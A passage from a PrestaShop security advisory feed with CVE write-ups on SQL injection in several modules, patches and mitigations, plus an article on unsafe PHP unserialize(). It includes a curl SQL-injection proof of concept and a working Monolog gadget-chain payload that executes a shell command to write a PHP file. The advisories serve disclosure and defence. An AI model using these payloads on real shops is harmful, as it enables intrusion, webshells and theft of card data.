</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Marketing automation multicanal” (cartsguru) up to versions 2.4.2 from Carts Guru for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39643] Improper neutralization of SQL parameter in Bl Modules - XML Feeds PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/29/xmlfeeds.html" rel="alternate" type="text/html" title="[CVE-2023-39643] Improper neutralization of SQL parameter in Bl Modules - XML Feeds PRO module for PrestaShop" /><published>2023-08-29T00:00:00+00:00</published><updated>2023-08-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/29/xmlfeeds</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/29/xmlfeeds.html"><![CDATA[<p>In the module “XML Feeds PRO” (xmlfeeds) up to versions 3.8.2 from Bl Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39643">CVE-2023-39643</a></li>
  <li><strong>Published at</strong>: 2023-08-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: xmlfeeds</li>
  <li><strong>Impacted release</strong>: &lt;= 3.8.2 (3.9.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Bl Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SearchApiXml::Xmlfeeds()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/xmlfeeds/search.php?s=1&amp;s_p=1);select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-382">Patch from 3.8.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.8.2/modules/xmlfeeds/xmlfeeds.php
</span><span class="gi">+++ 3.9.8/modules/xmlfeeds/xmlfeeds.php
</span><span class="err">$moduleImgPath</span> = '../modules/xmlfeeds/views/img/';

        if (!empty($selected_products) &amp;&amp; $selected_products != 'undefined') {
<span class="gd">-           $where_selected = ' AND l.id_product NOT IN ('.$selected_products.')';
</span><span class="gi">+           $where_selected = ' AND l.id_product NOT IN ('.implode(',', array_map('intval', explode(',', $selected_products))).')';
</span>        }

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>xmlfeeds</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-04-06</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-04-06</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-15</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/5732-xml-feeds-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39643">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “XML Feeds PRO” (xmlfeeds) up to versions 3.8.2 from Bl Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CWE-502] Exploring the perils of unsafe unserialize() in PrestaShop (part 1)</title><link href="https://security.friendsofpresta.org/research/2023/08/28/deserialization-untrusted-data-CWE-502-part1.html" rel="alternate" type="text/html" title="[CWE-502] Exploring the perils of unsafe unserialize() in PrestaShop (part 1)" /><published>2023-08-28T00:00:00+00:00</published><updated>2023-08-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/research/2023/08/28/deserialization-untrusted-data-CWE-502-part1</id><content type="html" xml:base="https://security.friendsofpresta.org/research/2023/08/28/deserialization-untrusted-data-CWE-502-part1.html"><![CDATA[<p>The deserialization of instantiated objects in PHP involved the trigger of the magic methods <code class="language-plaintext highlighter-rouge">__construct()</code>, <code class="language-plaintext highlighter-rouge">__wakeup()</code> and <code class="language-plaintext highlighter-rouge">__destruct()</code>.</p>

<p>A Smarty, Monolog or Symfony library’s <a href="https://en.wikipedia.org/wiki/Gadget_(computer_science)">Gadget</a> hydratation with a malicious payload followed by its deserialization can be exploited in multiple malicious critical usages.</p>

<p>Until this present research, we did not have any known gadget on our ecosystem that can justify a CVE against <code class="language-plaintext highlighter-rouge">unserialize</code> usage.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>Published at</strong>: 2023-08-28</li>
  <li><strong>Platform</strong>: All CMS especially PrestaShop.</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/502.html">CWE-502</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="unsafe-php-method-unserialize-part-1">Unsafe PHP method unserialize() (part 1)</h2>

<h3 id="how-it-works">How it works?</h3>

<p>Let’s take an example. The <code class="language-plaintext highlighter-rouge">Smarty</code> template engine cache process is scheduled to create a lock file at the beginning and remove it at the end during the destruct of <code class="language-plaintext highlighter-rouge">Smarty</code>’s object.</p>

<p>A Gadget of this object, a sort of “mockup” of the original class, can be crafted with a target file as parameter. Then, it will remove the target during the deserialization of the Gadget. <code class="language-plaintext highlighter-rouge">Smarty</code> cache class can be hijacked to delete any files of the vulnerable application.</p>

<p>Please read this article to know more about <a href="https://www.sjoerdlangkemper.nl/2021/04/04/remote-code-execution-through-unsafe-unserialize/">unsafe unserialize() in PHP</a>.</p>

<h3 id="proof-of-concept">Proof of concept</h3>

<p>Similarly, the popular library <code class="language-plaintext highlighter-rouge">Monolog</code> can be hijacked to execute remote code. Let’s explain it in a POC.</p>

<p>We created a simple module to demontrate the danger of a deserialization. Please note that any php script that include PrestaShop core file <code class="language-plaintext highlighter-rouge">config/config.inc.php</code> load vendors libraries and consequently <code class="language-plaintext highlighter-rouge">Monolog</code> (PS 1.7+) or others libraries.</p>

<p><strong>FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.</strong></p>

<ol>
  <li>Create a module</li>
</ol>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// modules/mymodule/mymodule.php</span>

<span class="kd">class</span> <span class="nc">Mymodule</span>
<span class="p">{</span>
<span class="mf">...</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">getContent</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$payload</span> <span class="o">=</span> <span class="s1">'O:37:"Monolog\Handler\FingersCrossedHandler":3:{s:13:"passthruLevel";i:0;s:6:"buffer";a:1:{s:4:"test";a:2:{i:0;s:45:"echo \'&lt;?php echo "♥" . (25-125);\' &gt; ./a.php";s:5:"level";N;}}s:7:"handler";O:29:"Monolog\Handler\BufferHandler":7:{s:7:"handler";N;s:10:"bufferSize";i:-1;s:6:"buffer";N;s:5:"level";N;s:11:"initialized";b:1;s:11:"bufferLimit";i:-1;s:10:"processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}'</span><span class="p">;</span>

        <span class="nv">$unsafeDeserialization</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$payload</span><span class="p">);</span>

        <span class="k">return</span> <span class="nb">var_dump</span><span class="p">(</span><span class="nv">$unsafeDeserialization</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="p">}</span>
<span class="mf">...</span>
</code></pre></div></div>

<ol>
  <li>
    <p>Go to the configuration page of the module.</p>
  </li>
  <li>
    <p>This piece of code will put an <code class="language-plaintext highlighter-rouge">a.php</code> file in the designated directory of PrestaShop.</p>
  </li>
</ol>

<h3 id="malicious-usage-through-prestashop-dependencies">Malicious usage through PrestaShop dependencies</h3>

<p>Malicious usages of PrestaShop via common libraries are:</p>
<ul>
  <li>remote code execution (RCE) to put a webshell</li>
  <li>Server Side Request Forgery (SSRF) to aggress other website with a clean IP</li>
  <li>File Deletion (FD) to remove an htaccess and expose logs or sensitive data</li>
  <li>File Writer (WF) to put a webshell</li>
  <li>Files read reader (RF) to read sensitive data like mysql password</li>
  <li>SQL injections (SQLi)</li>
  <li>Technical data leaks (Info)</li>
</ul>

<table>
  <thead>
    <tr>
      <th>PrestaShop dependency</th>
      <th>Malicious usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Smarty</td>
      <td>SSRF and FD</td>
    </tr>
    <tr>
      <td>Monolog</td>
      <td>RCE and FW</td>
    </tr>
    <tr>
      <td>Symfony</td>
      <td>FD, FW, and RCE</td>
    </tr>
    <tr>
      <td>Doctrine</td>
      <td>RCE and FW</td>
    </tr>
    <tr>
      <td>TCPDF</td>
      <td>FD</td>
    </tr>
    <tr>
      <td>Guzzle</td>
      <td>FW, Info and RCE</td>
    </tr>
  </tbody>
</table>

<p>Source: <a href="https://github.com/ambionics/phpggc/tree/master/gadgetchains">PHP Generic Gadget Chains</a></p>

<p>NB 1: This list is not exhaustive. Module dependencies can also include other hijackable classes.</p>

<p>NB 2: Several PrestaShop core or modules configurations are stored in database as serialized strings. In chain, a SQL injection can also be exploited to inject malicious serialized string that will be triggered during the deserialization.</p>

<h3 id="how-to-prevent-this-vulnerability">How to prevent this vulnerability?</h3>

<p>As you understand, <code class="language-plaintext highlighter-rouge">unserialize($_GET['param'])</code> (or <code class="language-plaintext highlighter-rouge">$_POST</code>, <code class="language-plaintext highlighter-rouge">$_COOKIE</code>, …), each <strong>untrusted data unserialized is a critical vulnerability</strong>.</p>

<ul>
  <li>A strict validation of input data is absolutely essential!</li>
  <li>Use json serialization instead as soon as possible : <code class="language-plaintext highlighter-rouge">json_encode</code> and <code class="language-plaintext highlighter-rouge">json_decode</code></li>
  <li>Disable the deserialization of classes via <code class="language-plaintext highlighter-rouge">unserialize($args, ['allowed_classes' =&gt; false])</code>. That’s not perfect but better than nothing.</li>
</ul>

<p>Read the second part of this advisory: <a href="https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2.html">[CWE-502] Exploring the perils of implicit deserialization of a phar in PrestaShop (part 2)</a></p>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="research" /><summary type="html"><![CDATA[The deserialization of instantiated objects in PHP involved the trigger of the magic methods __construct(), __wakeup() and __destruct().]]></summary></entry><entry><title type="html">[CVE-2023-39650] Improper neutralization of SQL parameters in Theme Volty CMS Blog module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html" rel="alternate" type="text/html" title="[CVE-2023-39650] Improper neutralization of SQL parameters in Theme Volty CMS Blog module for PrestaShop" /><published>2023-08-24T00:00:00+00:00</published><updated>2023-08-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html"><![CDATA[<p>In the module “Theme Volty CMS Blog” (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39650">CVE-2023-39650</a></li>
  <li><strong>Published at</strong>: 2023-08-24</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmsblog</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">TvcmsBlogSingleModuleFrontController::run()</code> have a sensitive SQL call that can be executed with a trivial HTTP call and exploited to forge a SQL injection.</p>

<p>If your server do not manage correctly these HTTP headers (which will be the case for all servers not managed by a professional system administrator), you are concerned:</p>

<ul>
  <li>CLIENT_IP</li>
  <li>X_FORWARDED_FOR</li>
  <li>X_FORWARDED</li>
  <li>FORWARDED_FOR</li>
  <li>FORWARDED</li>
</ul>

<p>See recommendations if needed about this.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmsblog/controllers/front/single.php
</span><span class="gi">+++ 4.0.2/tvcmsblog/controllers/front/single.php
</span><span class="err">...</span>
    public function initContent()
    {
        $ipaddress = '';
        if (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
            $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
        } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
            $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
            $ipaddress = $_SERVER['HTTP_FORWARDED'];
        } elseif (isset($_SERVER['REMOTE_ADDR'])) {
            $ipaddress = $_SERVER['REMOTE_ADDR'];
        } else {
            $ipaddress = 'UNKNOWN';
        }
        $blogid = $this-&gt;blogpost['id_tvcmsposts'];

-       $select_data = 'SELECT MAX(id_view) as max_id FROM `' . _DB_PREFIX_ . 'tvcmsposts_view` where `id_tvcmsposts` = ' . $blogid . ' AND `ipadress` = \'' . $ipaddress . '\' ';
<span class="gi">+       $select_data = 'SELECT MAX(id_view) as max_id FROM `' . _DB_PREFIX_ . 'tvcmsposts_view` where `id_tvcmsposts` = ' . (int) $blogid . ' AND `ipadress` = \'' . pSQL($ipaddress) . '\' ';
</span>        $ans = Db::getInstance()-&gt;executeS($select_data);

        if (1 &gt; $ans[0]['max_id']) {
            $dataquery = 'INSERT INTO `' . _DB_PREFIX_ . 'tvcmsposts_view`
                                SET 
<span class="gd">-                                   `id_tvcmsposts` = ' . $blogid . ',
</span><span class="gi">+                                   `id_tvcmsposts` = ' . (int) $blogid . ',
</span><span class="gd">-                                    ipadress = \'' . $ipaddress . '\'';
</span><span class="gi">+                                    ipadress = \'' . pSQL($ipaddress) . '\'';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmsblog</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>These HTTP headers are not supposed to be used on a final application, since they should be used only if <code class="language-plaintext highlighter-rouge">REMOTE_ADDR</code> is allowed with modules like mod_remoteip for Apache2, so you should auto-delete them if you are not behind a well setup load-balancer or reverse proxy.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>The author provided a patch, but it still contains all critical vulnerabilities.</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-24</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39650">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Blog” (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39652] Improper neutralization of SQL parameter in Theme Volty Video Tab module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/24/tvcmsvideotab.html" rel="alternate" type="text/html" title="[CVE-2023-39652] Improper neutralization of SQL parameter in Theme Volty Video Tab module for PrestaShop" /><published>2023-08-24T00:00:00+00:00</published><updated>2023-08-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/24/tvcmsvideotab</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/24/tvcmsvideotab.html"><![CDATA[<p>In the module “Theme Volty Video Tab” (tvcmsvideotab) up to version 4.0.0 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39652">CVE-2023-39652</a></li>
  <li><strong>Published at</strong>: 2023-08-24</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmsvideotab</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.0 (4.0.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The methods <code class="language-plaintext highlighter-rouge">TvcmsVideoTabConfirmDeleteModuleFrontController::run()</code> and <code class="language-plaintext highlighter-rouge">TvcmsVideoTabSaveVideoModuleFrontController::run()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-400">Patch from 4.0.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.0/tvcmsvideotab/controllers/front/confirmdelete.php
</span><span class="gi">+++ 4.0.1/tvcmsvideotab/controllers/front/confirmdelete.php
</span><span class="p">class TvcmsVideoTabConfirmDeleteModuleFrontController extends ModuleFrontController
</span><span class="err">{</span>
    /**
     * @see FrontController::postProcess()
     */
    public function run()
    {
        $db = Db::getInstance(_PS_USE_SQL_SLAVE_);
    -   $id_product = Tools::getValue('id');
    +   $id_product = (int) Tools::getValue('id');
    -   $id_lang = Tools::getValue('id_lang');
    +   $id_lang = (int) Tools::getValue('id_lang');
        $id_shop = $this-&gt;context-&gt;shop-&gt;id;
    }
<span class="err">}</span>
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.0/tvcmsvideotab/controllers/front/savevideo.php
</span><span class="gi">+++ XXXXX/tvcmsvideotab/controllers/front/savevideo.php
</span><span class="p">class TvcmsVideoTabSaveVideoModuleFrontController extends ModuleFrontController
</span><span class="err">{</span>
    public function run()
    {
        $ok = '';
        $id_lang_default = Configuration::get('PS_LANG_DEFAULT');
        $ob_lang_default = new Language($id_lang_default);
        $name_lang_default = $ob_lang_default-&gt;name;
<span class="gd">-       $id_shop = Tools::getValue('id_shop');
</span><span class="gi">+       $id_shop = (int) Tools::getValue('id_shop');
</span><span class="gd">-       $name_shop = Tools::getValue('name_shop');
</span><span class="gi">+       $name_shop = pSQL(Tools::getValue('name_shop'));
</span>        $db = Db::getInstance(_PS_USE_SQL_SLAVE_);
        $url = $_SERVER['SCRIPT_FILENAME'];
        $url = rtrim($url, 'index.php');
        $languages = Language::getLanguages();
<span class="gd">-       $type_video = Tools::getValue('type_video');
</span><span class="gi">+       $type_video = pSQL(Tools::getValue('type_video'));
</span><span class="gd">-       $id_product = Tools::getValue('id_product');
</span><span class="gi">+       $id_product = (int) Tools::getValue('id_product');
</span><span class="err">...</span>
                        $sql = 'REPLACE INTO ' . _DB_PREFIX_ . 'url_video ';
                        $sql .= '(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)';
                        $sql .= " VALUES ('" . $id_video . "','" . $id_product . "','" . $id_shop . "','";
<span class="gd">-                       $sql .= '' . trim($name_url_array[$value_lang['id_lang']]) . "','" . $value_lang['name'] . "','";
</span><span class="gi">+                       $sql .= '' . pSQL(trim($name_url_array[$value_lang['id_lang']])) . "','" . $value_lang['name'] . "','";
</span><span class="err">...</span>
                        $sql = 'REPLACE INTO ' . _DB_PREFIX_ . 'url_video ';
                        $sql .= '(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)';
                        $sql .= " VALUES ('" . $id_video . "','" . $id_product . "','" . $id_shop . "','";
<span class="gd">-                       $sql .= '' . trim($name_url_array[$value_lang['id_lang']]) . "','" . $value_lang['name'] . "','";
</span><span class="gi">+                       $sql .= '' . pSQL(trim($name_url_array[$value_lang['id_lang']])) . "','" . $value_lang['name'] . "','";
</span><span class="err">...</span>
                        $sql = 'REPLACE INTO ' . _DB_PREFIX_ . 'url_video ';
                        $sql .= '(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)';
                        $sql .= " VALUES ('" . $id_video . "','" . $id_product . "','" . $id_shop . "','";
<span class="gd">-                       $sql .= '' . trim($name_url_array[$value_lang['id_lang']]) . "','" . $value_lang['name'] . "','";
</span><span class="gi">+                       $sql .= '' . pSQL(trim($name_url_array[$value_lang['id_lang']])) . "','" . $value_lang['name'] . "','";
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmsvideotab</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
